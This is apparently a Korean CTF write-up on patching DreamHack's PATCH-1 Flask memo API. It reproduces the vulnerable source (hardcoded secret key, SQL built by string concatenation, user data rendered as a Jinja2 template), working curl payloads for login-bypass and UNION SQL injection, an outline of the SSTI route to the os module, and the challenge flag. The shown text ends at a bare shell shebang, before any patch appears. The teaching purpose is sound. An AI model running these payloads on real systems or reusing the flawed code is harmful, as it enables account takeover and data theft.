[๐Ÿฅ‡ Gold 4] ์ทจ์•ฝ์ ์„ ์ฐพ๋Š” ๊ฒŒ ์•„๋‹ˆ๋ผ ๋ง‰๋Š” ๋ฌธ์ œ โ€” DreamHack PATCH-1 ํ’€์ด

2026-08-06ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅ‡ Gold 4] ์ทจ์•ฝ์ ์„ ์ฐพ๋Š” ๊ฒŒ ์•„๋‹ˆ๋ผ ๋ง‰๋Š” ๋ฌธ์ œ โ€” DreamHack PATCH-1 ํ’€์ด

122์ค„์งœ๋ฆฌ Flask ๋ฉ”๋ชจ API ์— ์‹ฌ์–ด ๋‘” ์ทจ์•ฝ์ ์„ ์ „๋ถ€ ํŒจ์น˜ํ•ด์•ผ flag ๊ฐ€ ๋‚˜์˜ค๋Š” ๋ฌธ์ œ. f-string SQLi ๋‘ ๊ณณ, format() ์ด ๋งŒ๋“ค์–ด ๋‚ธ Jinja2 SSTI ์™€ ์ €์žฅํ˜• XSS, ๋ฉ”๋ชจ ์†Œ์œ ์ž ๊ฒ€์ฆ ๋ˆ„๋ฝ, ์†Œ์Šค์— ๋ฐ•ํžŒ secret_key ๊นŒ์ง€ ์—ฌ์„ฏ ๊ตฐ๋ฐ๋ฅผ ๋กœ์ปฌ์—์„œ ์žฌํ˜„ํ•ด ๋†“๊ณ  ๊ณ ์ณค๋‹ค. ๊ณต๊ฒฉ๋งŒ ๋ง‰๊ณ  ๋๋‚˜๋ฉด ์•ˆ ๋˜๊ณ  SLA(๊ธฐ๋Šฅ ํšŒ๊ท€) ๋„ ๊ฐ™์ด ํ†ต๊ณผํ•ด์•ผ ํ•œ๋‹ค.

๋ฌธ์ œ: DreamHack Wargame โ€” PATCH-1 ๋ถ„๋ฅ˜: web ๋‚œ์ด๋„: ๐Ÿฅ‡ Gold 4 FLAG: DH{7e07d530518d7983c066a7019b6cf027}

์›Œ๊ฒŒ์ž„์„ ํ’€๋‹ค ๋ณด๋ฉด ๋Œ€๋ถ€๋ถ„ "๋šซ์–ด๋ผ"์ธ๋ฐ, ์ด๊ฑด ๋ฐ˜๋Œ€๋‹ค. ์ทจ์•ฝํ•œ ์ฝ”๋“œ๋ฅผ ์ฃผ๊ณ  ๊ณ ์ณ ๋ณด๋ผ๊ณ  ํ•œ๋‹ค. ์ฑ„์  ์„œ๋ฒ„๊ฐ€ ์ต์Šคํ”Œ๋กœ์ž‡์„ ๋˜์ ธ ๋ณด๊ณ  ์ „๋ถ€ ๋ง‰ํ˜”๋Š”์ง€ ํ™•์ธํ•œ ๋’ค, ๊ทธ๊ฒƒ๊ณผ ๋ณ„๊ฐœ๋กœ ์ •์ƒ ๊ธฐ๋Šฅ์ด ์‚ด์•„ ์žˆ๋Š”์ง€(SLA) ๋‹ค์‹œ ํ™•์ธํ•œ๋‹ค. ๋‘˜ ๋‹ค ํ†ต๊ณผํ•ด์•ผ flag ๊ฐ€ ๋‚˜์˜จ๋‹ค.

PATCH-1 ์˜ usage ํŽ˜์ด์ง€ โ€” ์ทจ์•ฝ์  ํŒจ์น˜์™€ SLA ํ†ต๊ณผ๊ฐ€ ๋ชจ๋‘ ํ•„์š”ํ•˜๊ณ  socketยทexecveยทos.environ ๋ณ€๊ฒฝยทapp.run ์ถ”๊ฐ€๋Š” ๊ธˆ์ง€๋ผ๊ณ  ์ ํ˜€ ์žˆ๋‹ค
PATCH-1 ์˜ usage ํŽ˜์ด์ง€ โ€” ์ทจ์•ฝ์  ํŒจ์น˜์™€ SLA ํ†ต๊ณผ๊ฐ€ ๋ชจ๋‘ ํ•„์š”ํ•˜๊ณ  socketยทexecveยทos.environ ๋ณ€๊ฒฝยทapp.run ์ถ”๊ฐ€๋Š” ๊ธˆ์ง€๋ผ๊ณ  ์ ํ˜€ ์žˆ๋‹ค

๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…PATCH-1 (web-patch-1, 2020-06-12 ์ถœ์ œ)
๋‚œ์ด๋„๐Ÿฅ‡ Gold 4
๋ถ„๋ฅ˜web
์ œ๊ณต ํŒŒ์ผapp.py ํ•œ ๊ฐœ (122์ค„)
์ŠคํƒPython 3 ยท Flask ยท Jinja2 ยท SQLite3
์„œ๋ฒ„๋“œ๋ฆผํ•ต ๋ผ์ด๋ธŒ ์ธ์Šคํ„ด์Šค (์ฝ”๋“œ ์ œ์ถœ โ†’ ์ฑ„์ )
ํ•ต์‹ฌ ์ทจ์•ฝ์ f-string SQLi ยท ๋ฌธ์ž์—ด ์—ฐ๊ฒฐ SQLi ยท Jinja2 SSTI ยท ์ €์žฅํ˜• XSS ยท IDOR ยท ํ•˜๋“œ์ฝ”๋”ฉ secret_key

ํ’€์ด ํ๋ฆ„์€ ๋‹จ์ˆœํ•˜๋‹ค. ๋ฐฐํฌ๋œ app.py ๋ฅผ ์ฝ์–ด ์ทจ์•ฝํ•œ ์ง€์ ์„ ์ „๋ถ€ ๋ฝ‘๊ณ , ๊ทธ๊ฒŒ ์ •๋ง ์ทจ์•ฝํ•œ์ง€ ๋กœ์ปฌ์— ๋˜‘๊ฐ™์€ ์„œ๋ฒ„๋ฅผ ์„ธ์›Œ ํ•˜๋‚˜์”ฉ ํ„ฐ๋œจ๋ ค ๋ณธ๋‹ค. ๊ทธ๋‹ค์Œ ํŒจ์น˜๋ณธ์„ ๋งŒ๋“ค์–ด ๊ฐ™์€ ๊ณต๊ฒฉ์ด ์ „๋ถ€ ๋ง‰ํžˆ๋Š”์ง€, ๊ทธ๋Ÿฌ๋ฉด์„œ ๋ฉ€์ฉกํ•œ ์š”์ฒญ์€ ์˜ˆ์ „๊ณผ ๋˜‘๊ฐ™์ด ๋™์ž‘ํ•˜๋Š”์ง€ ํ™•์ธํ•˜๊ณ  ์ œ์ถœํ•œ๋‹ค.



๐Ÿงฉ ๋ฐฐ๊ฒฝ โ€” ์ด ๋ฌธ์ œ๊ฐ€ ์ฑ„์ ํ•˜๋Š” ๊ฒƒ

๋ฌธ์ œ ํŽ˜์ด์ง€๋Š” ํŒŒ์ผ ๋„ค ๊ฐœ๋ฅผ ํƒญ์œผ๋กœ ๋ณด์—ฌ ์ค€๋‹ค. ๊ทธ์ค‘ app.py ํ•˜๋‚˜๋งŒ โœ” ์ˆ˜์ • ๊ฐ€๋Šฅ ์ด๊ณ  ๋‚˜๋จธ์ง€ ์…‹(run.pyยทrequirements.txtยทschema.sql)์€ โœ– ์ˆ˜์ • ๋ถˆ๊ฐ€๋Šฅ ์ด๋‹ค.

๋“œ๋ฆผํ•ต PATCH-1 ํŽธ์ง‘ ํ™”๋ฉด โ€” app.py ํƒญ๋งŒ ์ˆ˜์ • ๊ฐ€๋Šฅ์œผ๋กœ ์—ด๋ ค ์žˆ๊ณ  run.pyยทrequirements.txtยทschema.sql ์€ ์ˆ˜์ • ๋ถˆ๊ฐ€๋กœ ์ž ๊ฒจ ์žˆ๋‹ค
๋“œ๋ฆผํ•ต PATCH-1 ํŽธ์ง‘ ํ™”๋ฉด โ€” app.py ํƒญ๋งŒ ์ˆ˜์ • ๊ฐ€๋Šฅ์œผ๋กœ ์—ด๋ ค ์žˆ๊ณ  run.pyยทrequirements.txtยทschema.sql ์€ ์ˆ˜์ • ๋ถˆ๊ฐ€๋กœ ์ž ๊ฒจ ์žˆ๋‹ค

์ˆ˜์ • ๋ถˆ๊ฐ€ ํƒญ๋„ ์ฝ์„ ์ˆ˜๋Š” ์žˆ๋‹ค. run.py ๊ฐ€ ํŠนํžˆ ์ค‘์š”ํ•˜๋‹ค. ์ฑ„์  ๋Œ€์ƒ์ด ์–ด๋–ป๊ฒŒ ๊ธฐ๋™๋˜๋Š”์ง€๊ฐ€ ์—ฌ๊ธฐ ๋‹ค ์ ํ˜€ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.

์ˆ˜์ • ๋ถˆ๊ฐ€๋Šฅํ•œ run.py ํƒญ โ€” DATABASE ํ™˜๊ฒฝ๋ณ€์ˆ˜๋ฅผ database.db ๋กœ ์ •ํ•˜๊ณ  app.run ์„ threaded ๋กœ ํ•œ ๋ฒˆ๋งŒ ๋„์šด๋‹ค
์ˆ˜์ • ๋ถˆ๊ฐ€๋Šฅํ•œ run.py ํƒญ โ€” DATABASE ํ™˜๊ฒฝ๋ณ€์ˆ˜๋ฅผ database.db ๋กœ ์ •ํ•˜๊ณ  app.run ์„ threaded ๋กœ ํ•œ ๋ฒˆ๋งŒ ๋„์šด๋‹ค
# run.py โ€” ์ˆ˜์ • ๋ถˆ๊ฐ€
import sys, os
import app
 
os.environ['DATABASE'] = 'database.db'
 
if len(sys.argv) != 2:
    print(f'USAGE: {sys.argv[0]} PORT')
    sys.exit()
 
app.app.run(host='0.0.0.0', port=int(sys.argv[1]), threaded=True)

threaded=True ๋กœ ํ”„๋กœ์„ธ์Šค ํ•˜๋‚˜๋งŒ ๋œฌ๋‹ค. ๋’ค์—์„œ secret_key ๋ฅผ ํ”„๋กœ์„ธ์Šค๋งˆ๋‹ค ์ƒˆ๋กœ ๋ฝ‘๋Š” ํŒจ์น˜๋ฅผ ๋„ฃ์„ ํ…๋ฐ, ์ด ํ•œ ์ค„์ด ๊ทธ๊ฒŒ ์•ˆ์ „ํ•˜๋‹ค๋Š” ๊ทผ๊ฑฐ๊ฐ€ ๋œ๋‹ค. ์›Œ์ปค๊ฐ€ ์—ฌ๋Ÿฌ ๊ฐœ๋ฉด ์›Œ์ปค๋งˆ๋‹ค ํ‚ค๊ฐ€ ๋‹ฌ๋ผ์ ธ ์„ธ์…˜์ด ๊นจ์ง„๋‹ค.

usage ํŽ˜์ด์ง€์˜ ์ œ์•ฝ๋„ ๊ทธ๋Œ€๋กœ ์ง€ํ‚จ๋‹ค.

  • Python ๋ฌธ๋ฒ•์ด ๊นจ์ง€๋ฉด ์ฆ‰์‹œ ํƒˆ๋ฝํ•œ๋‹ค
  • socketยทexecve ๊ฐ™์€ ์™ธ๋ถ€ ์ ‘์†ยทOS ๋ช…๋ น์€ ์“ธ ์ˆ˜ ์—†๋‹ค
  • os.environ ์— ๋“  ์„ค์ • ๋ณ€์ˆ˜๋ฅผ ๋ฐ”๊ฟ€ ์ˆ˜ ์—†๋‹ค
  • app.run() ์„ ์ž„์˜๋กœ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์—†๋‹ค

์ œ์ถœ์€ 30์ดˆ์— ํ•œ ๋ฒˆ. ์„œ๋ฒ„์— ๋ถ™์–ด์„œ ์‹œํ–‰์ฐฉ์˜ค๋กœ ๋งž์ถฐ ๊ฐ€๋Š” ๋ฐฉ์‹์ด ์•„๋‹ˆ๋ผ, ๋กœ์ปฌ์—์„œ ๋‹ค ๋๋‚ด๊ณ  ํ•œ ๋ฒˆ์— ์˜ฌ๋ฆฌ๋Š” ๋ฐฉ์‹์ด ๋งž๋‹ค.


๐Ÿ”ฌ ์ฝ”๋“œ ์ •์ฐฐ โ€” 122์ค„์„ ํ›‘๋Š”๋‹ค

๋ฐฐํฌ๋ณธ์€ app.py ํ•˜๋‚˜๋ฟ์ด๋‹ค. ๋จผ์ € zip ์•ˆ์— ๋ญ๊ฐ€ ๋“ค์—ˆ๋Š”์ง€ ๋ณด๊ณ , ๋ƒ„์ƒˆ๋‚˜๋Š” ์ค„๋งŒ ๊ณจ๋ผ ๋ฝ‘์•˜๋‹ค.

unzip -l challenge_70.zip && grep -nE "secret_key|query_db\(f|where idx=|\.format\(|render_template_string" extracted/app.py
unzip ๊ณผ grep ์œผ๋กœ ๋ฝ‘์€ PATCH-1 ๋ฐฐํฌ๋ณธ โ€” app.py ํ•œ ํŒŒ์ผ์— f-string ์ฟผ๋ฆฌ, ๋ฌธ์ž์—ด ์—ฐ๊ฒฐ ์ฟผ๋ฆฌ, format ํ›„ ๋ Œ๋”๋ง์ด ๋ชจ๋‘ ๋ณด์ธ๋‹ค
unzip ๊ณผ grep ์œผ๋กœ ๋ฝ‘์€ PATCH-1 ๋ฐฐํฌ๋ณธ โ€” app.py ํ•œ ํŒŒ์ผ์— f-string ์ฟผ๋ฆฌ, ๋ฌธ์ž์—ด ์—ฐ๊ฒฐ ์ฟผ๋ฆฌ, format ํ›„ ๋ Œ๋”๋ง์ด ๋ชจ๋‘ ๋ณด์ธ๋‹ค

๋‹ค์„ฏ ์ค„์ด ํ•œ ๋ฒˆ์— ๊ฑธ๋ฆฐ๋‹ค. 7๋ฒˆ ์ค„์˜ ๊ณ ์ • secret_key, 43๋ฒˆ ์ค„์˜ f-string ์ฟผ๋ฆฌ, 86๋ฒˆ ์ค„์˜ where idx= ๋ฌธ์ž์—ด ์—ฐ๊ฒฐ, 94~95๋ฒˆ ์ค„์˜ .format() ํ›„ render_template_string. 108๋ฒˆ ์ค„๋งŒ ํ”Œ๋ ˆ์ด์Šคํ™€๋”๋ฅผ ์ œ๋Œ€๋กœ ์“ฐ๊ณ  ์žˆ๋‹ค.

์ „์ฒด ์ฝ”๋“œ๋Š” ์ด๋ ‡๊ฒŒ ์ƒ๊ฒผ๋‹ค. ๋ผ์šฐํŠธ ์—ฌ์„ฏ ๊ฐœ์งœ๋ฆฌ ๋ฉ”๋ชจ API ๋‹ค.

#!/usr/bin/python3
from flask import Flask, request, render_template_string, g, session, jsonify
import sqlite3
import os, hashlib
 
app = Flask(__name__)
app.secret_key = "Th1s_1s_V3ry_secret_key"
 
def get_db():
  db = getattr(g, '_database', None)
  if db is None:
    db = g._database = sqlite3.connect(os.environ['DATABASE'])
  db.row_factory = sqlite3.Row
  return db
 
def query_db(query, args=(), one=False):
  cur = get_db().execute(query, args)
  rv = cur.fetchall()
  cur.close()
  return (rv[0] if rv else None) if one else rv
 
@app.route('/api/login', methods=['POST'])
def login():
  userid = request.form.get('userid', '')
  password = request.form.get('password', '')
  if userid and password:
    ret = query_db(f"SELECT * FROM users where userid='{userid}' and password='{hashlib.sha256(password.encode()).hexdigest()}'" , one=True)
    if ret:
      session['uid'] = ret[0]
      return jsonify(result="success", userid=ret[0])
  return jsonify(result="fail")
 
@app.route('/api/memo/<idx>', methods=['GET'])
def memoView(idx):
  mode = request.args.get('mode', 'json')
  ret = query_db("SELECT * FROM memo where idx=" + idx)[0]
  if ret:
    userid = ret['userid']
    title = ret['title']
    contents = ret['contents']
    if mode == 'html':
      template = ''' Written by {userid}<h3>{title}</h3>
      <pre>{contents}</pre>
      '''.format(title=title, userid=userid, contents=contents)
      return render_template_string(template)
    else:
      return jsonify(result="success", userid=userid, title=title, contents=contents)
  return jsonify(result="error")
 
@app.route('/api/memo/<int:idx>', methods=['PUT'])
def memoUpdate(idx):
  if not session.get('uid'):
    return jsonify(result="no login")
 
  ret = query_db('SELECT * FROM memo where idx=?', [idx,])[0]
  userid = session.get('uid')
  title = request.form.get('title')
  contents = request.form.get('contents')
 
  if ret and title and contents:
    conn = get_db()
    cur = conn.cursor()
    updateRet = cur.execute("UPDATE memo SET title=?, contents=? WHERE idx=?",(title, contents, idx))
    conn.commit()
    if updateRet:
      return jsonify(result="success")
  return jsonify(result="error")

memoUpdate ๋ฅผ ๋ณด๋ฉด ์žฌ๋ฏธ์žˆ๋‹ค. query_db('... where idx=?', [idx,]) ๋กœ ํ”Œ๋ ˆ์ด์Šคํ™€๋”๋ฅผ ์“ธ ์ค„ ์•„๋Š” ์‚ฌ๋žŒ์ด ์“ด ์ฝ”๋“œ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ๋ฐ”๋กœ ์œ„ memoView ๋Š” ๋ฌธ์ž์—ด์„ ๊ทธ๋ƒฅ ์ด์–ด๋ถ™์˜€๋‹ค. ์‹ค๋ฌด์—์„œ ์ž์ฃผ ๋ณด๋Š” ๋ชจ์–‘์ด๋ผ ์˜คํžˆ๋ ค ํ˜„์‹ค์ ์ด๋‹ค.

์Šคํ‚ค๋งˆ๋ถ€ํ„ฐ ์—ญ์‚ฐํ•œ๋‹ค

๋กœ์ปฌ์—์„œ ๋Œ๋ ค ๋ณด๋ ค๋ฉด DB ๊ฐ€ ํ•„์š”ํ•œ๋ฐ schema.sql ์€ ๋ฌธ์ œ ํŽ˜์ด์ง€์—์„œ ์ฝ์„ ์ˆ˜ ์žˆ๋‹ค. ๋‹ค๋งŒ ์ฝ๊ธฐ ์ „์— ์ฟผ๋ฆฌ๋งŒ์œผ๋กœ ๋จผ์ € ๋งž์ถฐ ๋ดค๋‹ค. Insert into users values(?, ?) ๋Š” ์ปฌ๋Ÿผ ๋‘ ๊ฐœ, session['uid'] = ret[0] ์ด๋‹ˆ ์ฒซ ์ปฌ๋Ÿผ์ด userid. Insert into memo(userid, title, contents) ์— idx ๊ฐ€ ๋น ์กŒ์œผ๋‹ˆ ์ž๋™ ์ฆ๊ฐ€ ๊ธฐ๋ณธํ‚ค.

# local/init_db.py โ€” ์ฟผ๋ฆฌ์—์„œ ์—ญ์‚ฐํ•œ ์Šคํ‚ค๋งˆ๋กœ ๋กœ์ปฌ DB๋ฅผ ๋งŒ๋“ ๋‹ค
import hashlib, os, sqlite3, sys
 
DB = sys.argv[1] if len(sys.argv) > 1 else "/tmp/patch1.db"
if os.path.exists(DB):
    os.remove(DB)
 
conn = sqlite3.connect(DB)
cur = conn.cursor()
cur.executescript("""
    CREATE TABLE users (
        userid   TEXT PRIMARY KEY,
        password TEXT NOT NULL
    );
    CREATE TABLE memo (
        idx      INTEGER PRIMARY KEY AUTOINCREMENT,
        userid   TEXT NOT NULL,
        title    TEXT,
        contents TEXT
    );
""")
 
def sha(p):
    return hashlib.sha256(p.encode()).hexdigest()
 
cur.executemany("INSERT INTO users VALUES (?, ?)", [
    ("admin", sha("SuperSecretAdminPw!")),
    ("guest", sha("guest")),
    ("attacker", sha("attacker")),
])
cur.executemany("INSERT INTO memo(userid, title, contents) VALUES (?, ?, ?)", [
    ("admin", "admin note", "DH{local_dummy_not_a_real_flag}"),
    ("guest", "hello", "guest ์˜ ํ‰๋ฒ”ํ•œ ๋ฉ”๋ชจ"),
])
conn.commit()
conn.close()
print(f"[+] {DB} ์ƒ์„ฑ ์™„๋ฃŒ (users 3๋ช… / memo 2๊ฑด)")
python3 local/init_db.py local/demo.db && sqlite3 local/demo.db ".schema" && sqlite3 -header -column local/demo.db "select idx, userid, title from memo"
sqlite3 ๋กœ ํ™•์ธํ•œ ๋กœ์ปฌ ์žฌํ˜„ DB ์Šคํ‚ค๋งˆ โ€” users ๋Š” userid ๊ฐ€ ๊ธฐ๋ณธํ‚ค์ด๊ณ  memo ๋Š” idx ๊ฐ€ ์ž๋™ ์ฆ๊ฐ€ ์ •์ˆ˜ ๊ธฐ๋ณธํ‚ค๋‹ค
sqlite3 ๋กœ ํ™•์ธํ•œ ๋กœ์ปฌ ์žฌํ˜„ DB ์Šคํ‚ค๋งˆ โ€” users ๋Š” userid ๊ฐ€ ๊ธฐ๋ณธํ‚ค์ด๊ณ  memo ๋Š” idx ๊ฐ€ ์ž๋™ ์ฆ๊ฐ€ ์ •์ˆ˜ ๊ธฐ๋ณธํ‚ค๋‹ค

๋ฌธ์ œ ํŽ˜์ด์ง€์˜ schema.sql ๊ณผ ๋Œ€์กฐํ•ด ๋ณด๋‹ˆ ๊ทธ๋Œ€๋กœ์˜€๋‹ค.

create table users(userid TEXT primary key, password TEXT);
create table memo(idx INTEGER primary key AUTOINCREMENT, userid TEXT, title TEXT, contents TEXT);

์„œ๋ฒ„๋ฅผ ๋„์šฐ๋Š” ์ชฝ์€ ์ด๋ ‡๊ฒŒ ๊ฐ์ŒŒ๋‹ค. ํฌํŠธ๋งˆ๋‹ค DB ๋ฅผ ์ƒˆ๋กœ ๋งŒ๋“ค๊ธฐ ๋•Œ๋ฌธ์— ์›๋ณธ๊ณผ ํŒจ์น˜๋ณธ์„ ๊ฐ™์€ ์ดˆ๊ธฐ ์ƒํƒœ์—์„œ ๋‚˜๋ž€ํžˆ ๋Œ๋ฆด ์ˆ˜ ์žˆ๋‹ค.

# local/serve.sh โ€” ์‚ฌ์šฉ๋ฒ•: ./serve.sh <app.py ๊ฒฝ๋กœ> <ํฌํŠธ>
set -euo pipefail
APP="${1:?app.py ๊ฒฝ๋กœ}"
PORT="${2:-5000}"
DB="/tmp/patch1_${PORT}.db"
 
python3 "$(dirname "$0")/init_db.py" "$DB" >/dev/null
export DATABASE="$DB"
exec python3 -m flask --app "$APP" run --host 127.0.0.1 --port "$PORT"

์ด ์ƒํƒœ์—์„œ ์›๋ณธ์€ 5000๋ฒˆ, ๋’ค์— ๋งŒ๋“ค ํŒจ์น˜๋ณธ์€ 5001๋ฒˆ์— ์˜ฌ๋ ค ๋‘๊ณ  ์ž‘์—…ํ–ˆ๋‹ค.



๐Ÿ’ฃ ์ทจ์•ฝ์  1 โ€” ๋กœ๊ทธ์ธ ์ฟผ๋ฆฌ๊ฐ€ f-string ์ด๋‹ค

43๋ฒˆ ์ค„์ด๋‹ค.

ret = query_db(f"SELECT * FROM users where userid='{userid}' and password='{hashlib.sha256(password.encode()).hexdigest()}'", one=True)

๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” SHA-256 ์„ ๊ฑฐ์น˜๋‹ˆ ๊ฐ’์„ ๋ชป ๋„ฃ์ง€๋งŒ userid ๋Š” ํผ์—์„œ ์˜จ ๋ฌธ์ž์—ด์ด ๊ทธ๋Œ€๋กœ ๋“ค์–ด๊ฐ„๋‹ค. ๋”ฐ์˜ดํ‘œ๋ฅผ ๋‹ซ๊ณ  ๋’ค๋ฅผ ์ฃผ์„ ์ฒ˜๋ฆฌํ•˜๋ฉด ๋น„๋ฐ€๋ฒˆํ˜ธ ์กฐ๊ฑด ์ž์ฒด๊ฐ€ ์‚ฌ๋ผ์ง„๋‹ค.

curl -s -X POST http://127.0.0.1:5000/api/login --data-urlencode "userid=admin' -- " --data-urlencode "password=whatever"
curl ๋กœ ๋กœ๊ทธ์ธ SQL ์ธ์ ์…˜์„ ์žฌํ˜„ํ•œ ํ™”๋ฉด โ€” ์ฃผ์„ ์ฒ˜๋ฆฌ ํŽ˜์ด๋กœ๋“œ๋กœ ๋น„๋ฐ€๋ฒˆํ˜ธ ์—†์ด admin ์„ธ์…˜์„ ๋ฐ›์•„๋‚ธ๋‹ค
curl ๋กœ ๋กœ๊ทธ์ธ SQL ์ธ์ ์…˜์„ ์žฌํ˜„ํ•œ ํ™”๋ฉด โ€” ์ฃผ์„ ์ฒ˜๋ฆฌ ํŽ˜์ด๋กœ๋“œ๋กœ ๋น„๋ฐ€๋ฒˆํ˜ธ ์—†์ด admin ์„ธ์…˜์„ ๋ฐ›์•„๋‚ธ๋‹ค

{"result":"success","userid":"admin"}. ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ชจ๋ฅด๋Š” ์ฑ„๋กœ admin ์ด ๋๋‹ค. SQLite ๋Š” -- ๋’ค๋ฅผ ์ค„ ๋๊นŒ์ง€ ์ฃผ์„์œผ๋กœ ๋ณธ๋‹ค. ์ฃผ์„ ๊ธฐํ˜ธ ๋’ค์— ๊ณต๋ฐฑ์„ ํ•œ ์นธ ๋‚จ๊ฒจ์•ผ ํ•œ๋‹ค๋Š” ์ ๋งŒ ์ฃผ์˜ํ•˜๋ฉด ๋œ๋‹ค.


๐Ÿ’ฃ ์ทจ์•ฝ์  2 โ€” ๋ฉ”๋ชจ ์กฐํšŒ๋Š” ์•„์˜ˆ ๋ฌธ์ž์—ด ์—ฐ๊ฒฐ์ด๋‹ค

86๋ฒˆ ์ค„์€ ๋”ฐ์˜ดํ‘œ์กฐ์ฐจ ์—†๋‹ค. ์ˆซ์ž ์ž๋ฆฌ์— ๊ทธ๋Œ€๋กœ ๋ถ™๋Š”๋‹ค.

ret = query_db("SELECT * FROM memo where idx=" + idx)[0]

๋ผ์šฐํŠธ๊ฐ€ <idx> (๊ธฐ๋ณธ ๋ฌธ์ž์—ด ๋ณ€ํ™˜๊ธฐ) ๋ผ์„œ ์Šฌ๋ž˜์‹œ๋งŒ ์•„๋‹ˆ๋ฉด ๋ญ๋“  ๋“ค์–ด์˜จ๋‹ค. ์ธ์šฉ๋ถ€ํ˜ธ ๋ฐ–์ด๋ผ ๋”ฐ์˜ดํ‘œ๋ฅผ ๋‹ซ์„ ํ•„์š”๋„ ์—†๊ณ , UNION ์„ ๋ถ™์ด๋ฉด ๋‹ค๋ฅธ ํ…Œ์ด๋ธ”์„ ๊ทธ๋Œ€๋กœ ๋Œ์–ด์˜ฌ ์ˆ˜ ์žˆ๋‹ค. memo ๋Š” ์ปฌ๋Ÿผ์ด ๋„ท์ด๋‹ˆ ๋„ท์„ ๋งž์ถฐ ์ค€๋‹ค.

curl -s "http://127.0.0.1:5000/api/memo/-1%20union%20select%201,userid,password,'x'%20from%20users%20where%20userid='admin'"
curl ๋กœ UNION SQL ์ธ์ ์…˜์„ ์žฌํ˜„ํ•œ ํ™”๋ฉด โ€” memo ์กฐํšŒ ์‘๋‹ต์˜ title ์ž๋ฆฌ์— users ํ…Œ์ด๋ธ” admin ๋น„๋ฐ€๋ฒˆํ˜ธ ํ•ด์‹œ๊ฐ€ ์‹ค๋ ค ๋‚˜์˜จ๋‹ค
curl ๋กœ UNION SQL ์ธ์ ์…˜์„ ์žฌํ˜„ํ•œ ํ™”๋ฉด โ€” memo ์กฐํšŒ ์‘๋‹ต์˜ title ์ž๋ฆฌ์— users ํ…Œ์ด๋ธ” admin ๋น„๋ฐ€๋ฒˆํ˜ธ ํ•ด์‹œ๊ฐ€ ์‹ค๋ ค ๋‚˜์˜จ๋‹ค

title ์ž๋ฆฌ์— 64์ž์งœ๋ฆฌ SHA-256 ํ•ด์‹œ๊ฐ€ ์‹ค๋ ค ๋‚˜์™”๋‹ค. sqlite3.Row ์˜ ์ปฌ๋Ÿผ ์ด๋ฆ„์€ ๋งจ ์•ž SELECT ๋ฅผ ๋”ฐ๋ผ๊ฐ€๋ฏ€๋กœ, ์‘๋‹ต JSON ์€ ์—ฌ์ „ํžˆ useridยทtitleยทcontents ํ‚ค๋ฅผ ์“ด๋‹ค. ์„œ๋ฒ„ ์ž…์žฅ์—์„œ๋Š” ์ •์ƒ์ ์ธ ๋ฉ”๋ชจ ํ•˜๋‚˜๋ฅผ ๋Œ๋ ค์ค€ ๊ฒƒ์ฒ˜๋Ÿผ ๋ณด์ธ๋‹ค.


๐Ÿ’ฃ ์ทจ์•ฝ์  3ยท4 โ€” format() ์ด ๋งŒ๋“ค์–ด ๋‚ธ SSTI, ๊ทธ๋ฆฌ๊ณ  XSS

์ด ๋ฌธ์ œ์˜ ํ•ต์‹ฌ์ด๋‹ค. 91~95๋ฒˆ ์ค„์„ ๋‹ค์‹œ ๋ณธ๋‹ค.

if mode == 'html':
  template = ''' Written by {userid}<h3>{title}</h3>
  <pre>{contents}</pre>
  '''.format(title=title, userid=userid, contents=contents)
  return render_template_string(template)

.format() ์ด ๋จผ์ € ๋Œ์•„ ์‚ฌ์šฉ์ž ๊ฐ’์ด ๋ฐ•ํžŒ ๋ฌธ์ž์—ด์„ ๋งŒ๋“ค๊ณ , ๊ทธ ๊ฒฐ๊ณผ๋ฅผ render_template_string ์ด ํ…œํ”Œ๋ฆฟ ์†Œ์Šค๋กœ ๋ฐ›์•„ ์ปดํŒŒ์ผํ•œ๋‹ค. ์ฆ‰ DB ์— ์ €์žฅ๋œ ๋ฉ”๋ชจ ๋ณธ๋ฌธ์ด ํ…œํ”Œ๋ฆฟ ์ฝ”๋“œ์˜ ์ผ๋ถ€๊ฐ€ ๋œ๋‹ค. Jinja2 ๋Š” ๊ทธ ์•ˆ์˜ {{ ... }} ๋ฅผ ํŒŒ์ด์ฌ ํ‘œํ˜„์‹์œผ๋กœ ํ‰๊ฐ€ํ•œ๋‹ค.

์›๋ณธ์€ ์‚ฌ์šฉ์ž ๊ฐ’์ด ํ…œํ”Œ๋ฆฟ ์†Œ์Šค์— ์„ž์—ฌ SSTI ๊ฐ€ ๋˜๊ณ  ํŒจ์น˜๋ณธ์€ ๊ฐ’์„ ์ธ์ž๋กœ ๋„˜๊ฒจ ํ‘œํ˜„์‹์ด ๋ฌธ์ž์—ด๋กœ ๋‚จ๋Š”๋‹ค๋Š” ๋น„๊ต ๋‹ค์ด์–ด๊ทธ๋žจ
์›๋ณธ์€ ์‚ฌ์šฉ์ž ๊ฐ’์ด ํ…œํ”Œ๋ฆฟ ์†Œ์Šค์— ์„ž์—ฌ SSTI ๊ฐ€ ๋˜๊ณ  ํŒจ์น˜๋ณธ์€ ๊ฐ’์„ ์ธ์ž๋กœ ๋„˜๊ฒจ ํ‘œํ˜„์‹์ด ๋ฌธ์ž์—ด๋กœ ๋‚จ๋Š”๋‹ค๋Š” ๋น„๊ต ๋‹ค์ด์–ด๊ทธ๋žจ

Flask ๋Š” ํ…œํ”Œ๋ฆฟ ์ปจํ…์ŠคํŠธ์— config ๋ฅผ ๋„ฃ์–ด ์ค€๋‹ค. config ์˜ ํด๋ž˜์Šค๋Š” flask.config ๋ชจ๋“ˆ์— ์ •์˜๋ผ ์žˆ๊ณ  ๊ทธ ๋ชจ๋“ˆ์€ os ๋ฅผ import ํ•œ๋‹ค. ๊ทธ๋ž˜์„œ __globals__ ๋ฅผ ํƒ€๊ณ  ๋“ค์–ด๊ฐ€๋ฉด os ๊ฐ€ ๋‚˜์˜จ๋‹ค. ์ƒŒ๋“œ๋ฐ•์Šค๊ฐ€ ๊ฑธ๋ฆฐ SandboxedEnvironment ๊ฐ€ ์•„๋‹ˆ๋ผ ํ‰๋ฒ”ํ•œ Environment ๋ผ ๋˜๋” ์†์„ฑ ์ ‘๊ทผ์ด ๋ง‰ํžˆ์ง€ ์•Š๋Š”๋‹ค.

#!/usr/bin/env bash
